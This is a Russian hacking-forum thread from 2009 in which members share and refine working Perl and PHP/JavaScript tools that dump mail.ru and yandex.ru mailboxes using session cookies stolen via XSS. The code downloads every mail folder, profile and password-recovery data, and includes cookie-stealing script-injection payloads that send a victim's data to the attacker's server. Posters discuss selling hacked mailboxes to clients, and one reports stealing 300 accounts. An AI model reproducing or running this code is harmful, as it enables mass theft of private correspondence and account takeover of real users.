[new mail.ru dumper] by slider

Discussion in 'Избранное' started by slider, 23 Jul 2009.

  1. slider

    slider Reservists Of Antichat

    Joined:
    4 Sep 2005
    Messages:
    501
    Likes Received:
    711
    Reputations:
    748

    Ребят ... а можно я старое описание оставлю .. а ?! =\
    Ибо правда заеп... скажу только что код уменьшил в три раза, улучил функционал, исправил багесы, старая версия кстать загнулась ... вобщем прошу любить и жаловать ​


    [N3w t00lz by mE]

    [​IMG]
    Наверняка каждому из вас приходилось или приходиться иметь дело с XSS на mail.ru т.к в данный момент это самая актуальная бага на выше упомянутом сервере ....

    как нам уже известно сессия не живёт вечно и желательно за небольшой промежуток времени собрать максимально большое количество информации...

    Думаю именно в тут вам и поможет эта тулза... в ее задачи как раз и входить ..

    • слить анкетные данные, персональную информацию, контактную информацию, данные для восстановления пароля
    • слить письма с таких директорий, как:
      - Входящие
      - Сомнительные
      - Отправленные
      - Корзина

    Кому сможет пригодиться этот скрипт?!

    ИМХО всем .. от мала до велика....
    пригодится тем у кого "напряг" со временем...
    пригодится ленивым ... кому лень рыться на ящике и сливать в ручную...
    пригодится незнающим .. те у кого проблема с тем что бы поменять кукисы...
    пригодится тем кто делает бизнесс на хеке майл.ру ... например .. фейк не сработал ... а сессию вы получили ... не отдадите же вы заказчику окуратно записаные кукисы?!... заказчик наверняка кроме как распечатать и повешать их на стенку ничего не придумает ;)

    P.S: Если нуна .. то можно сделать версию а-ля сниффер ... будет собирать кукису и аккуратненько дамрить всё на сервере.....



    PHP:
    #!/usr/bin/perl 

    ## Сoded by [slider]
    ## http://forum.antichat.ru

    ## hello 2 my friends: brain[pillow], genom-- , cy4_, ... and .. and .. m0nzt3r - loleg :-P

    use IO::Socket;

    $cookies q(ТУТ БУДЕТ КУКИСА);

    print  
    '-' x 56 "\n [i] Coded by slider \n [i] forum.antichat.ru\n" '-' x 56 "\n\n";
    information();create_dir();private();inbox();outbox();doubtful();trash();

    sub requester{
        
    $rqst IO::Socket::INET->new(PeerAddr=>'win.mail.ru'PeerPort=>'80'Proto=>'tcp'Timeout=>'30') || print "Error! $!\n";
        if(
    $_[2] == 1){print $rqst "GET /cgi-bin/msglist?folder=$_[0]&page=9999999999999999 HTTP/1.0\r\nHost: win.mail.ru\r\nCookie: ".$cookies.";\r\n\r\n";
        while(
    $answer = <$rqst>){if ($answer =~ /$_[1]/){return $1}}}
        if(
    $_[2] == 2){print $rqst "GET $_[0] HTTP/1.0\r\nHost: win.mail.ru\r\nCookie: ".$cookies.";\r\n\r\n";
        
    open (mailbox$_[1]);while($answer = <$rqst>){print mailbox $answer;}}
        if(
    $_[2] == 3){
        print 
    $rqst "GET $_[0]$p HTTP/1.0\r\nHost: win.mail.ru\r\nCookie: ".$cookies.";\r\n\r\n";    
        while(
    $answer = <$rqst>){
        if (
    $answer =~ /td class=lettem><a href="readmsg\?id=(.*)"/){
        print 
    "  [~] MID: $1 && PAGE: $p \n";    
        
    open (mailbox">./mailbox/$email/$_[1]/$p.$1.html");
        
    $connect IO::Socket::INET->new(PeerAddr=>'win.mail.ru'PeerPort=>'80'Proto=>'tcp'Timeout=>'30') || print "Error! $!\n";
        print 
    $connect "GET /cgi-bin/sentmsg?reply&id=$1 HTTP/1.0\r\nHost: win.mail.ru\r\nCookie: ".$cookies.";\r\n\r\n";
        while(
    $answer = <$connect>)
        {print 
    mailbox $answer;}}}}
    }

    sub create_dir{
        if ( ! -
    "mailbox" ){mkdir "mailbox"0755 or die "[~] Can't create mailbox: $!\n";}     
        if ( ! -
    "mailbox/$email){mkdir "mailbox/$email"0755 or die "[~] Can't create mailbox/$email: $!\n";}     
        if ( ! -
    "mailbox/$email/inbox" ){mkdir "mailbox/$email/inbox"0755 or die "[~] Can't create mailbox/$email/inbox: $!\n";}         
        if ( ! -
    "mailbox/$email/outbox" ){mkdir "mailbox/$email/outbox"0755 or die "[~] Can't create $email/outbox: $!\n";}         
        if ( ! -
    "mailbox/$email/doubtful" ){mkdir "mailbox/$email/doubtful"0755 or die "[~] Can't create $email/doubtful: $!\n";}         
        if ( ! -
    "mailbox/$email/trash" ){mkdir "mailbox/$email/trash"0755 or die "[~] Can't create $email/trash: $!\n";}         
        if ( ! -
    "mailbox/$email/private" ){mkdir "mailbox/$email/private"0755 or die "[~] Can't create $email/private: $!\n";}         
            print 
    "[!] Creating directory: ok\n";$o '['.'-'x 5;
    }

    sub information{
        
    $reg_last_p '<b class=odin>&middot;&nbsp;(.*)&nbsp;&middot;<\/b';
        print 
    "[!] Get information:\n\n";$o '['.'-'x5;
        
    $email=requester(0,'<nobr>(.*)<\/nobr><\/td><form action=logout>',1);if(!$email){$email='!!WRONG!!';die("Something wrong: e-mail\n")}
        print 
    "[- E-mail: $email\n[\n";
        
    $ilp=requester(0,$reg_last_p,1);if(!$ilp){$ilp=1;}print $o." Inbox    (last_page): $ilp\n";
        
    $somn=requester(950,$reg_last_p,1);if(!$somn){$somn=1;}print $o." Doubtful (last_page): $somn\n";
        
    $outbox=requester(500000,$reg_last_p,1);if(!$outbox){$outbox=1;}print $o." Outbox   (last_page): $outbox\n";
        
    $trash=requester(500002,$reg_last_p,1);if(!$trash){$trash=1;}print $o." Trash    (last_page): $trash\n\n";
    }

    sub private{
        print 
    "[*] Getting private information: ";
        
    requester('/cgi-bin/userinfo',">./mailbox/$email/private/userinfo_1.html",2);
        
    requester('/cgi-bin/anketa?page=1',">./mailbox/$email/private/anketa_1.html",2);
        
    requester('/cgi-bin/anketa?page=2',">./mailbox/$email/private/anketa_2.html",2);
        
    requester('/cgi-bin/userinfo?mra=1',">./mailbox/$email/private/userinfo_2.html",2);
        
    requester('/cgi-bin/start',">./mailbox/$email/private/index.html",2);
        print 
    "ok\n\n"
    }

    sub inbox{
        print 
    "[!] Geting: INBOX:\n\n";
        for(
    $p=1;$p<$ilp+1;$p++){
        
    requester("/cgi-bin/msglist?folder=0&page=",'inbox',3);
        print 
    "  [~] ok \n";}
    }

    sub outbox{
        print 
    "\n[!] Geting: OUTBOX:\n\n";
        for(
    $p=1;$p<$outbox+1;$p++){
        
    requester("/cgi-bin/msglist?folder=500000&page=",'outbox',3);
        print 
    "  [~] ok \n";}
    }

    sub doubtful{
        print 
    "\n[!] Geting: DOUBTFUL:\n\n";
        for(
    $p=1;$p<$somn+1;$p++){
        
    requester("/cgi-bin/msglist?folder=950&page=",'doubtful',3);
        print 
    "  [~] ok \n";}
    }

    sub trash{
        print 
    "\n[!] Geting: TRASH:\n\n";
        for(
    $p=1;$p<$trash+1;$p++){
        
    requester("/cgi-bin/msglist?folder=500002&page=",'TRASH',3);
        print 
    "  [~] ok \n";}
    }
        
    ## Active Perl:
    ## http://downloads.activestate.com/ActivePerl/Windows/5.8/ActivePerl-5.8.8.820-MSWin32-x86-274739.msi

    ## Antichat.ru
    Download here:http://webfile.ru/3794238


    ------------------------------------------------------------------------------------------------------​


    Долгожданная версия дампера под сниффер


    - такс... а как юзать!?..
    Да элементарно.. при юзании ксс подставляем ссылку на этот скрипт

    - ещё что то!?..
    ну да... подправьте положение перловы в первой строке: #!"C:\perl\bin\perl.exe" на ваш путь..

    ммм... а так же установите нужные права... + убедитесь что в папке со скриптом стоят права на запись =)


    Download here:http://webfile.ru/3815167

     
    #1 slider, 23 Jul 2009
    Last edited: 3 Aug 2009
    14 people like this.
  2. brain[pillow]

    brain[pillow] Active Member

    Joined:
    7 Nov 2008
    Messages:
    7
    Likes Received:
    103
    Reputations:
    74
    Вообще экзотика - такие вещи на перле писать =)
     
    2 people like this.
  3. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    brain[pillow] , почему это?
     
  4. brain[pillow]

    brain[pillow] Active Member

    Joined:
    7 Nov 2008
    Messages:
    7
    Likes Received:
    103
    Reputations:
    74
    Ну это сугубо моё личное мнение. Такие вещи обычно на PHP или JS пишутся.
     
  5. LeverOne

    LeverOne Elder - Старейшина

    Joined:
    22 Feb 2006
    Messages:
    52
    Likes Received:
    128
    Reputations:
    115
    === 30.10.2009

    PHP:
    <?php
    set_time_limit
    (600);

    // если php < 5.2.0
    if (!function_exists('json_decode'))
    {
       function 
    json_decode($json)
       {
          
    // Author: walidator.info 2009 mod by LO (temp)
          
    $comment false;
          
    $out '$x=';
          for (
    $i 0$i strlen($json); $i++)
          {
             if (!
    $comment)
             {
                if (
    $json[$i] == '{')       $out .= ' array(';
                else if (
    $json[$i] == '}')  $out .= ')';
                else if (
    $json[$i] == '[')  $out .= ' array(';
                else if (
    $json[$i] == ']')  $out .= ')';
                else if (
    $json[$i] == ':')  $out .= '=>';
                else                        
    $out .= $json[$i];
             }
             else 
    $out .= $json[$i];
             if (
    $json[$i] == '"')
             {
                
    $n 1;
                while (
    $json[$i $n] == '\\'$n++;
                if (!(
    $n 1)) $comment = !$comment;
             }
          }
          @eval(
    $out ' or null;');
          return 
    $x;
       }
    }

    // определение целей, для которых запущен скрипт
    if ($_REQUEST['action'] == 'sender')
          
    js_sender();
    else if(
    $_REQUEST['action'] == 'save')
       {
          
    create_dir(rawurldecode($_REQUEST['email']));
          
    write_message(rawurldecode($_REQUEST['message'])."\r\n\r\n"rawurldecode($_REQUEST['email']), 'registr_info.txt');
       }
    else 
    select_mail();

    // функция выбирает дампер в зависимости от кукисов 
    function select_mail()
    {
       
    $cookie str_replace(';%20''; '$_SERVER['QUERY_STRING']);
       if (
    strpos($cookie'Mpop') === false
        { 
           if (
    strpos($cookie'yandex') === false
               die(); 
           else 
               
    yandex_ru_dump($cookie);
        } 
       else 
         
    mail_ru_dump($cookie);


    // главная функция дампа mail.ru 
    function mail_ru_dump($cookie)
    {
       
    preg_match('/:.+:(.+?):/'$cookie$email);
       
    create_dir($email[1]);
       
    // чеккер: открытие и чтение файла с уже записанными идами писем; если его нет - создается. 
       
    $fcheck fopen('./mailbox/'.$email[1].'/check.txt''ab') or die();
       
    $exist file_get_contents('./mailbox/'.$email[1].'/check.txt');
       
    $folders requester('pro.mail.ru''/cgi-bin/mailbox?ajax_call=1&func_name=ajax_get_mailbox_data&data=%5B0%2C%22D%22%5D'$cookie'/\[.*\]/');
       
    $folders json_decode(utf8_encode($folders[0][0]), true);
       if (
    $folders[1] == 'Redirect'js_mail_ru_dump();  // вот тут-то может обнаружиться, что куки привязаны к клиенту: тогда запускается js-дампер
       
    foreach ($folders[2]['fList'] as $folder)
       {
         
    $filename = ($folder['ID'] == 'inbox' : ($folder['ID'] == 950 'doubtful' : ($folder['ID'] == 500000 'outbox' : ($folder['ID'] == 500002 'trash' 'custom')))); 
          
    $fp fopen('./mailbox/'.$email[1].'/'.$filename.'.html''ab') or die();  
          
    // все иды в папке одним запросом
          
    $ids requester('pro.mail.ru''/cgi-bin/mailbox?ajax_call=1&func_name=ajax_get_mailbox_data&data=%5B' .$folder['ID']. '%2C%22D%22%5D'$cookie'/\[.*\]/');
          
    $ids json_decode(utf8_encode($ids[0][0]), true);
          foreach (
    $ids[2]['mList'] as $id)
          {
             
    // чеккер
             
    if (strpos($exist$id) === false)
                {
                   
    // $message[0][0] - строка JSON - из нее многое можно вытащить.
                   
    $message requester('pro.mail.ru''/cgi-bin/ajax_readmsg?ajax_call=1&func_name=ajax_get_msg_data&data=%5B%22' .$id'%22%5D'$cookie'/\[.*\]/');
                   
    $message json_decode(utf8_encode($message[0][0]), true);
                   
    // проверка на прочитанность
                   
    if ($message[2]['FlagUnread'])
                       
    requester('pro.mail.ru','/cgi-bin/ajax_markmsg?ajax_call=1&data=%5B%5B%7B%22msgId%22%3A%22' .$id'%22%2C%22mark%22%3A1%7D%5D%5D&func_name=ajax_mark_msg'$cookie);
                   
    // запись сообщения
                   
    fwrite($fputf8_decode("<b>ID: </b>" .$id"<br/>\r\n<b>From: </b>"$message[2]['From']. "<br/>\r\n<b>To: </b>" .$message[2]['To']. "</br>\r\n<b>Date: </b>" .$message[2]['DateStr']. "<br/>\r\n<b>Subject: </b>" .$message[2]['Subject']. "<br/>\r\n<b>Attachments: </b>" .count($message[2]['Attachments']). "<br/>\r\n" .$message[2]['Body_Text_HTML']. "</b></b><br/><br/>\r\n\r\n"));
                   
    fwrite($fcheck"$id\r\n");
                }
             else break;
          }
          
    fclose($fp);
       }
       
    // проверка дампа приватной информации 
       
    if (strpos($exist'private') === false
          {
             
    $userinfo requester('win.mail.ru''/cgi-bin/userinfo?mra=1'$cookie'/class=registr>(.*)<input type="submit"/s'); 
             
    $anketa1 requester('win.mail.ru''/cgi-bin/anketa?page=1'$cookie'/class=registr>(.*)<input type="submit"/s'); 
             
    $anketa2 requester('win.mail.ru''/cgi-bin/anketa?page=2'$cookie'/class=registr>(.*)<input type="submit"/s');
             
    write_message('<b>USERINFO</b><br/>'.$userinfo[1][0].'<br/><b>ANKETA</b><br/>'.$anketa1[1][0].$anketa2[1][0].'<br/><b>FOLDERS</b><br/>'.$folders$email[1], 'private.html'); 
             
    write_message("private\r\n"$email[1], 'check.txt');
          }
       
    fclose($fcheck);


    тупо соединить

    PHP:

    //  JS-дампер mail.ru
    function js_mail_ru_dump()
    {
    ?>

    dumper = 'http://<?php echo ($_SERVER['SERVER_NAME'].$_SERVER['SCRIPT_NAME']) ?>';
    mask = '%e5%e3%e8%f1%f2' + '%f0%7cignup%7cegist%7c%e0%f0%ee%eb%7c' + '%ee%e4%f2%e2%e5%f0%7c%ee%e6%e0%eb%ee%e2%7c%ea' + '%f2%e8%e2%7c%ee%e4%ef%e8%f1';
    email = document.cookie.match(/:.+:(.+):/)[1];
    var r, ids=[], ids_index, context = window;

    document.body.innerHTML += '<iframe name=myFrame src=' + dumper + '?action=sender style=display:none><\/iframe>';

    if (!window.postMessage) document.body.innerHTML += '<form id=myForm method=post action=' + dumper + ' style=display:none target=myFrame><input name=action value=save><input name=message><input name=email value=' + email + '><\/form>';

    switch (location.hostname) {
      case 'win.mail.ru':
      case 'koi.mail.ru':
        get_ids_html(1);
        break;
      case 'pro.mail.ru':
        get_ids_ajax();
        break;
      default:
        /* if xss on [sub].mail.ru  */
        try {document.domain = 'mail.ru'} catch(er){}
        document.body.innerHTML += '<iframe src=http://win.mail.ru/cgi-bin/search style=display:none onload="context=this.contentWindow; get_ids_html(1)"><\/iframe>';
    }

    /* html-interface */
    function get_ids_html(page) {
     requester('http://win.mail.ru/cgi-bin/search?page=' + page + '&sortby=d&q_subj=' + mask + '&qc_subj=1&q_folder=all', 
                function() {
                   if (r.readyState == 4) {
                       ids_temp = r.responseText.match(/value="\d{20}/gi) || '';
                       for (n = 0; n < ids_temp.length; n++) ids.push(ids_temp[n].substring(7));
                       r.responseText.indexOf('&'+'#8250;') != -1 ? get_ids_html(++page): (ids[ids_index = 0] ? get_message(ids[ids_index]) : false);
                   }
                 }
              );
    }

    /* ajax-interface */
    function get_ids_ajax() {
      requester('http://pro.mail.ru/cgi-bin/ajax_search?' + 'q_folder=all&qc_subj=1&q_subj=' + mask,
                 function() {
                  if (r.readyState == 4) {
                      ids = r.responseText.match(/\d{20}_msg/g) || '';
                      for (n = 0; n < ids.length; n++) ids[n] = ids[n].substring(0,20);
                      if (ids[ids_index = 0]) get_message(ids[ids_index]);
                  }
                }
               );
    }

    /* common */
    function get_message(id) {
      requester('http://' + context.location.hostname + '/cgi-bin/ajax_readmsg?ajax_call=1' + '&func_name=ajax_get_msg_data&data=%5B%22' + id + '%22%5D',
                 function() {
                   if (r.readyState == 4) {
                       message = r.responseText;
                       if (eval(message)[2].FlagUnread) requester('http://' + context.location.hostname + '/cgi-bin/ajax_markmsg?ajax_call=1' + '&data=%5B%5B%7B%22msgId%22%3A%22' + id + '%22%2C%22mark%22%3A1%7D%5D%5D' + '&func_name=ajax_mark_msg', null);  
                       message = encodeURIComponent(message);
                       /* HTML 5 */
                       if (window.postMessage)
                           document.getElementsByName( 'myFrame')[0].contentWindow.postMessage( 'action=save&email=' + email + '&message=' + message, '*');
                       else  /* HTML<5 */
                         document.getElementById('myForm').submit( document.getElementById( 'myForm').message.value = message);
                       if (ids[++ids_index]) get_message(ids[ids_index]);
                   }
                 }
               );
    }

    /* common */
    function requester(url, func) {
      try {r = new context.XMLHttpRequest()} catch(err) {r = new context.ActiveXObject('Msxml2.XMLHTTP')}
      r.open('GET', url);
      r.onreadystatechange = func;
      r.send(null);
    }

    <?php
       
    die();
    }

    // функция выводит слушатеть кроссдоменных сообщений, которые далее пересылаются на дампер обычным xmlhttp
    function js_sender()
    {
    ?>
    <html>
    <body>
    <script>
    if (window.addEventListener) {
        window.addEventListener('message', listener, false);
    } else {
        window.attachEvent('onmessage', listener);
    }

    function listener(event) {
      with (new XMLHttpRequest()) 
         open('POST', 'http://<?php echo ($_SERVER['SERVER_NAME'].$_SERVER['SCRIPT_NAME']) ?>'),
         setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'),
         send(event.data);
    }
    </script>
    </body>
    </html>
    <?php
       
    die();
    }


    // аналогично: главная функция дампа yandex.ru
    function yandex_ru_dump($cookie)

       
    $passport_and_email requester('passport.yandex.ru''/passport?mode=passport'$cookie'/l-page-c">(.*b-redletter">(.*?)<.*passform3-l">)/si'); 
       
    $index requester('mail.yandex.ru''/m/folders'$cookie); 
       
    create_dir($passport_and_email[2][0].'@yandex.ru'); 
       
    $fcheck fopen('./mailbox/'.$passport_and_email[2][0].'@yandex.ru/check.txt''ab') or die(); 
       
    $exist file_get_contents('./mailbox/'.$passport_and_email[2][0].'@yandex.ru/check.txt'); 
       if (
    strpos($exist'private') === false
          { 
             
    write_message('<b>USERINFO</b><br/>'.$passport_and_email[1][0].'<b>FOLDERS</b><br/>'.$index$passport_and_email[2][0].'@yandex.ru''private.html');   
             
    write_message("private\r\n"$passport_and_email[2][0].'@yandex.ru''check.txt'); 
          } 
       
    preg_match_all('/folder=(.*?)"/'$index$folders); 
       
    // если папок не будет найдено, то куки недействительны 
       
    if ($folders[1][0] == '') die(); 
       for (
    $n 0$n count($folders[1]); $n++) 
       { 
          
    $filename = ($n == 'inbox' : ($n == 'outbox' : ($n == 'trash' : ($n == 'spam' : ($n == 'draft' 'custom')))));  
          
    $fp fopen('./mailbox/'.$passport_and_email[2][0].'@yandex.ru/'.$filename.'.html''ab') or die();
          
    $page 0;
          do {
                
    $messagelist requester('mail.yandex.ru''/m/messages?current_folder=' .$folders[1][$n]. '&page_number='.++$page$cookie); 
                
    preg_match_all('/ids=(.*?)">.*?<\/a><\/(.)/'$messagelist$ids_and_mark);  
                if (
    $ids_and_mark[1][0] == '') break;
                for (
    $m 0$m count($ids_and_mark[1]); $m++)
                { 
                   if (
    strpos($exist$ids_and_mark[1][$m]) === false
                      { 
                         
    $answer requester('mail.yandex.ru''/m/message?current_folder=' .$folders[1][$n]. '&ids=' .$ids_and_mark[1][$m], $cookie'/(<div class="c".*)<div class="op"/s');    
                         
    $message "\r\n<br/><b>ID: ".$ids_and_mark[1][$m]."</b><br/>\r\n".$answer[1][0]; 
                         
    // если условие выполняется, то письмо непрочитано. 
                         
    if ($ids_and_mark[2][$m] == 'b'
                             
    requester('mail.yandex.ru''/neo/ajax/action_message_operate?' 'oper=mark_not_read&current_folder=' .$folders[1][$n]. '&ids=' .$ids_and_mark[1][$m], $cookie); 
                         
    fwrite($fp$message); 
                         
    fwrite($fcheck$ids_and_mark[1][$m]."\r\n"); 
                      } 
                } 
             }  while(
    preg_match('/btn-r/'$messagelist) > 0); 
          
    fclose($fp); 
       } 
      
    fclose($fcheck); 
    }

    // универсальная функция запроса-ответа: помимо всего принимает необязательный параметр - регулярку для обработки ответа  
    function requester($host$path$cookie$regexp ""

       
    $fp fsockopen($host80) or die(); 
       
    fputs ($fp"GET $path HTTP/1.0\r\nHost: $host\r\nCookie: $cookie\r\n\r\n"); 
       
    $answer=''
       while (!
    feof($fp)) $answer .= fgets($fp4096); 
       
    fclose($fp); 
       if (
    $regexp != ''preg_match_all($regexp$answer$answer); 
       return 
    $answer


    // универсальная функция записи
    function write_message($message$email$filename)
    {
       
    $fp fopen("./mailbox/$email/$filename""ab") or die();
       
    fwrite($fp$message);
       
    fclose($fp);
    }

    // универсальная функция создания директорий
    function create_dir($email)
    {
       if (!
    is_dir("./mailbox")) mkdir("./mailbox"0755) or die();
       if (!
    is_dir("./mailbox/".$email)) mkdir("./mailbox/".$email0755) or die();
    }


                
    //\\  LeverOne //\\
    ?>
    Это - дампер сообщений mail.ru и yandex.ru
    Вот его особенности
    .
    • [+] Работает через мобильный (yandex.ru) и аякс (mail.ru) интерфейсы. Страницы этих интерфейсов в 10-95 раз легче, чем обычные. Для сравнения: исходник страницы сообщения обычного интерфейса win.mail.ru имеет размер прибл. 61 кБ, мобильного (для смартфонов - xhtml.wap.mail.ru) - 3 кБ, wap (wap.mail.ru) - 1,7 кБ, аякс (pro.mail.ru) - 0,63 кБ.
    • [+] Собирает письма из ВСЕХ папок.
    • [+] Сообщения сохраняются в файлы по именам папок, а не каждое само по себе, при этом только тот текст, который нам важен (без почтовых счетчиков, рекламы и прочей дребедени).
    • При просмотре сообщений через браузер отключаем js, плагины, картинки, лучше - сеть.
    • [+] Чеккер: уже скаченные сообщения не запрашиваются вновь.
    • [+] Расширяемость: выделены универсальные функции, через которые могут работать дамперы для других сервисов, если они будут добавляться.
    • [+] Добавлен JS-дампер для mail.ru, который спасет ситуацию, если вдруг пользователь включил дополнительную безопасность. JS-дампер собирает только регистрационную информацию, и, что очень важно, может работать с поддоменов (почти со всех). Из протестированных браузеров он не поддерживает только FF 2.x из-за баги этого браузера. Для более подробной информации обращайтесь к https://forum.antichat.ru/showthread.php?t=51622
    Способ запуска:

    1. Только PHP-функционал:

    http://mysite.xz/dump.php?Mpop=blabla

    (обратите внимание, что значение куки яндекса yandex_nickname должно быть url-кодированно, если содержит кириллические символы! некоторые снифферы полностью url-декодируют все куки, что может повлечь ошибку. правильное значение получается вызовом document.cookie либо повторным кодированием)

    или

    new Image().src='http://myhost.xz/dump.php?' + document.cookie;

    2. Весь функционал (целесообразнее)

    with (document) getElementsByTagName('head').item(0).appendChild( createElement('script')).src = 'http://myhost.xz/dump.php?' + document.cookie;

    Для работы требуется сайт с поддержкой сокетов, выключенным сейфмодом и права на запись. На данный момент скрипт работоспособен в том виде, в котором он размещен, править после форума ничего не нужно.

    === 3.01.2010

    Как проверить работоспособность php-части дампера на локальном хосте?

    Для этого нужно использовать только такой способ запуска: http://localhost/xampp/test/dump.php?Mpop=blabla

    Другие способы на локалхосте могут не работать из-за политик безопасности, принятых в некоторых браузерах (IE к ним не относится, там работают все способы).

    Как проверить работоспособность javascript-части дампера на локальном хосте?

    Найдите в дампере следующие строки:
    PHP:
       $folders requester('pro.mail.ru''/cgi-bin/mailbox?ajax_call=1&func_name=ajax_get_mailbox_data&data=%5B0%2C%22D%22%5D'$cookie'/\[.*\]/');
       
    $folders json_decode(utf8_encode($folders[0][0]), true);
       if (
    $folders[1] == 'Redirect')  js_mail_ru_dump();
    и замените их на:
    PHP:
    /*   $folders = requester('pro.mail.ru', '/cgi-bin/mailbox?ajax_call=1&func_name=ajax_get_mailbox_data&data=%5B0%2C%22D%22%5D', $cookie, '/\[.*\]/');
       $folders = json_decode(utf8_encode($folders[0][0]), true);
       if ($folders[1] == 'Redirect') */ 
    js_mail_ru_dump();
    Потом открываете IE --> авторизуетесь в почте --> в адресной строке в контексте первой же страницы, куда вас перебросило, пишете:

    javascript:with (document) getElementsByTagName('head').item(0).appendChild( createElement('script')).src = 'http://localhost/xampp/test/dump.php?' + document.cookie;void(0);

    Появился файл registr_info.txt в директории mailbox/[email protected] ?

    Если да, то открываете поддомен, например, otvet.mail.ru и пишете то же самое, предварительно удалив старый registr_info.txt. Если и теперь все сработало, то и с javascript-частью все в порядке.

    На текущий момент скрипт полностью работоспособен.
     
    #5 LeverOne, 24 Jul 2009
    Last edited: 20 Jan 2010
    6 people like this.
  6. slider

    slider Reservists Of Antichat

    Joined:
    4 Sep 2005
    Messages:
    501
    Likes Received:
    711
    Reputations:
    748
    LeverOne я удивлён что ты не создал 3ую категорию, "замечания очень несущественного характера":

    В cабе create_dir ну никак не нужно:
    Code:
    $o = '['.'-'x5
    да и вообще имха.. так будет красивее
    Code:
    $o = '['.'-'x 5

    Касательно 1го пункта: исправил всё...

    Касательно 2го пункта:

    1. Перезалил на файлообменник
    2. Менять не буду ... мне так больше нравится
    3. Разделители лишними не бывают, убирать их не стоит

    Спасибо за суровые замечания LeverOne, с утра очень подняло настроение)...
     
  7. m0nzt3r

    m0nzt3r моня

    Joined:
    22 Jun 2004
    Messages:
    2,096
    Likes Received:
    673
    Reputations:
    591
    да ну, кто тебе это сказал :D
     
    6 people like this.
  8. eLWAux

    eLWAux Elder - Старейшина

    Joined:
    15 Jun 2008
    Messages:
    860
    Likes Received:
    616
    Reputations:
    211
    эм.. есть предложение сделать "универсальный" дампер )
    прикрутить яху, гмейл, яндекс.почту, etc
    как смотришь на ето? )
     
  9. slider

    slider Reservists Of Antichat

    Joined:
    4 Sep 2005
    Messages:
    501
    Likes Received:
    711
    Reputations:
    748
    Если будет актуально .. то почему бы и нет .. разом дампить ящики всех знаменитых сервисов ... заразить саент фреймами ... с ксс в знаменитых почтовиках и жрать результатов.. только нужно будет многое переписывать... нгадо будет отладить механизм..
    Так же сделать чекер какой то .. что бы повторно ту же почту не сливать ...
     
  10. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    на JS? =\
    По моему перл более удобен при решении таких задач чем пшп
     
  11. slider

    slider Reservists Of Antichat

    Joined:
    4 Sep 2005
    Messages:
    501
    Likes Received:
    711
    Reputations:
    748
    на JS был бы высший пилотаж .. так что перл тут просто легкий вариант ...
     
  12. Kornero

    Kornero New Member

    Joined:
    31 Dec 2006
    Messages:
    18
    Likes Received:
    2
    Reputations:
    0
    Извиняюсь, можно нубский вопрос?)
    А как этим пользоваться?
    Я перл совсем не знаю, на все мои попытки выдаётся Something wrong: e-mail

    ADD:
    Может кто-нибудь напишет примерчик с использованием дампера. Я видимо не так или не туда всё ввожу)))
     
    #12 Kornero, 2 Aug 2009
    Last edited: 2 Aug 2009
  13. DIMON4G

    DIMON4G Elder - Старейшина

    Joined:
    25 May 2008
    Messages:
    0
    Likes Received:
    108
    Reputations:
    -1
    Kornero пример:

    Code:
    $cookies = q(Mpop=значения;);
    всё пашет! ;)
     
  14. sNt

    sNt Elder - Старейшина

    Joined:
    30 Jul 2008
    Messages:
    117
    Likes Received:
    11
    Reputations:
    1
    Вещь прикольная, но тут есть одна беда: сессия здохнет до того, как вы успеете что-то с неё поиметь. У меня из 16-ти только что отыметых кук только 13 срабатывали (остальные, видимо, по тем или иным причинам уже успели отойти в мир иной. И это свежак нереальный, только что со снифа. А вы прикиньте, что будет через час или два...). Тут есть смысл прикрутить автопизд инфы по мере поступления кук на сниф, чтобы снизить вероятность промаха. Вот тогда можно по идее ваще без фейков обходиться, если можно будет вытаскивать инфу о пароле и т.д., как указывалось ранее. В этом плане удобно с контактом работать. Там куки гораздо дольше живут и дохнут только если закрыть сессию. А на мэйле они сами по себе могут ласты посклеивать и потом будешь перед заказчиком с опущенными в пол глазами стоять... Тем более контакт далеко не все закрывают т.к. влом по 50 раз пас вводить на дню :)
     
    #14 sNt, 3 Aug 2009
    Last edited: 3 Aug 2009
  15. Kornero

    Kornero New Member

    Joined:
    31 Dec 2006
    Messages:
    18
    Likes Received:
    2
    Reputations:
    0
    DIMON4G
    А можно совсем пример?=)
    Т.е. с буковками)
    Я попробовал как ты сказал:
    Ничего не вышло, куча каких-то ошибок вылезла. Пробовал всякое в различных вариациях. Может мне пока ещё рано заниматься такими сложнами хаками?=)
     
  16. sNt

    sNt Elder - Старейшина

    Joined:
    30 Jul 2008
    Messages:
    117
    Likes Received:
    11
    Reputations:
    1
    Расслабсо, корнеро. Освойся для начала с xss, почитай про куки. Попиздь акков для тренировки. Ты сам не знаешь, зачем тебе эта тулза. Тупо увидел что-то интересное и сразу пытаешься во все влезть и все понять. Что-то из серии "увидел мяч, хочу в ЦСКА". Научись сначала просто попадать по мячу, а потом поговорим :)
     
  17. Kornero

    Kornero New Member

    Joined:
    31 Dec 2006
    Messages:
    18
    Likes Received:
    2
    Reputations:
    0
    Ну положим, с xss я вполне разбираюсь, что такое куки впринципе знаю, даже как их делать на пхп. И акков я натырил как раз 300 штук))) Вот хотел побыстрому всю инфу с них слить...
     
  18. slider

    slider Reservists Of Antichat

    Joined:
    4 Sep 2005
    Messages:
    501
    Likes Received:
    711
    Reputations:
    748
    Возможно стоит чек по IP .. или ещё что то .. если свежая .. то это не сессия умерла.. у меня такое было не раз, ловил сессию которой от силы минута ... при попытке залезть в ящик требовалась авторизация ... вобщем тут всё благодоря настройкам...


    В разработке..
     
  19. sNt

    sNt Elder - Старейшина

    Joined:
    30 Jul 2008
    Messages:
    117
    Likes Received:
    11
    Reputations:
    1
    Тогда вписывай куки исмотри, что не так. Анализируй ошибки, которые выдает прога. Я щас тоже покопаюсь )
     
  20. Kornero

    Kornero New Member

    Joined:
    31 Dec 2006
    Messages:
    18
    Likes Received:
    2
    Reputations:
    0
    Она выдаёт столько ошибок, что они все не влазят в командную строку и самые первые затираются=)))) А анализировать код у меня не вышло ввиду того что перл не знаю вообще, а сам язык уж больно сильно отличается от Pascal;C;Java;PHP которые я более менее знаю... Ладно в любом случае я сёдня уезжаю недели на две. Потом как-нибудь перл поучу)